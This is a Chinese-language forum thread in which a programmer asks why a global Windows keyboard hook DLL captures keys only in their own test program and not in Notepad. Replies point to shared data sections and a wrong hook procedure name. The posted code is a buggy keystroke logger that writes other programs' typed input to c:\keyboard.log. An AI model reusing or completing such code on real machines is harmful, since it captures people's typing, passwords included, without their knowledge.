别的程序又不需要加载你的DLL,怎么可以被调用。

解决方案 »

  1.   

    数据共享了吗?
    比如在def中
    SECTIONS
    .HOOKDATA READ WRITE SHARED
      

  2.   

    楼上的不懂 hook吧
    你的代码结构能不能说清楚点。
      

  3.   

    代码如下:
    ************hookdll.cpp**********
    HINSTANCE hInstance;
    HHOOK hHook;
    // Shared DATA
    #pragma data_seg("SHARDATA")
    static int wordCount = 0;
    static FILE* fp;
    static char buff[128][10];
    #pragma data_seg()LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam );BOOL WINAPI DllMain( HINSTANCE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
     ){
    hInstance=hModule;
        return TRUE; 
    }LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam ){ if((nCode>=0) && (wParam!=VK_SPACE)&&(wParam!=VK_RETURN)&&(wParam<=0x100 )){
    char *word=(char*)wParam;
    wsprintf((LPSTR)buff[wordCount],"%c",word);
    wordCount++;
    }
    return(CallNextHookEx(hHook, nCode, wParam, lParam));}int WINAPI starthook(){ hHook=SetWindowsHookEx(WH_GETMESSAGE, GetMessageProc,hInstance,0);
    if(hHook==NULL)
    return 0;
    if((fp=fopen("c:\\keyboard.log","a+"))==NULL)
    return 0;
    return 1;
    }void WINAPI stophook(){ if(hHook==NULL)
    return;
    UnhookWindowsHookEx(hHook);
    hHook=NULL;
    if(wordCount!=0){
    for(int i=0;i<=wordCount;i++)
    fprintf(fp,buff[i]);
    }
    if(fp!=NULL)
    fclose(fp);
    wordCount=0;}
    ***************
    在hookdll.h中导出了starthook和stophook
    hooktest.cpp中调用starthook和stophook,
    hooktest.exe调用starthook时,按键盘可以触发调用KeyboardProc,
    而打开notepad往里面敲字却不行。
    hookdll.dll不是能够映射到notepad的地址空间上吗?
      

  4.   

    hHook=SetWindowsHookEx(WH_GETMESSAGE, GetMessageProc,hInstance,0);
                                          ~~~~~~~~~~~~~~~应该是KeyboardProc 吧